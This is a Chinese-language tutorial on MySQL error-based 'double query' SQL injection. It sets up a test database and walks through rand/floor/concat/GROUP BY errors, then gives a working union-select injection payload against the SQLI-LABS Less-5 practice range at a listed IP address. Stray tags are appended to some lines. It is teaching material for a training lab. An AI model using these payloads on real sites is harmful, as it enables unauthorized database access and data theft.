1、基礎知識
開始講解MYSQL雙查詢錯誤以前,咱們先了解一下雙查詢語句以及須要使用到的幾個數據庫函數和GROUP BY語句css
1. 雙查詢語句mysql
先了解一下什麼是子查詢,子查詢就是嵌入第一層select語句中的select語句,好比:css3
SELECT * FROM score WHERE even_id IN (SELECT even_id FROM grade_event WHERE category = 'T');
功能:該語句實現的是找出與考試類別('T')相對應的全部考試事件行的ID,而後利用它們來查找那些考試的成績
雙查詢語句就是此類使用了兩個select的查詢語句sql
2. 數據庫函數和GROUP BY語句數據庫
1)rand() --- 隨機數生成函數函數
2)floor() --- 向下取整函數測試
3)concat() --- 字符串鏈接函數url
4)count() --- 統計函數spa
5)group by --- 給出分組條件.net
2、環境搭建
(1)建立數據庫 create database injection; (2)建立表 create table user ( id int, name varchar(15) ); (3)往表中插入3條數據 insert into user value(1,'mike'); insert into user value(2,'anna'); insert into user value(3,'andy'); 數據庫版本:mysql-5.7.27
3、查詢操做
1. SQL語句
select count(*), concat((select database()), floor(rand()*2)) as a from user group by a;
2. 執行狀況
3. 操做結果
能夠看到在第二次執行咱們的SQL語句時發生了錯誤,從錯誤提示中咱們獲知了數據庫的名字:injection.
4、靶場測試
下面咱們利用SQLI-LABS這個SQL注入靶場作一次利用SQL雙查詢錯誤進行注入攻擊,地址以下:
http://43.247.91.228:84/Less-5/
在上面的網址後加入:
?id=1‘ union select 1, count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a --+
也許是運氣好,第一次執行就獲得了想要的結果,以下:
從上圖中能夠看出,咱們已經獲得了數據庫的名字:security. 接下來能夠一步一步構造要注入的SQL語句獲取信息,在下
一篇講解雙查詢錯誤原理後,會講解如何構造注入語句來獲取數據庫信息.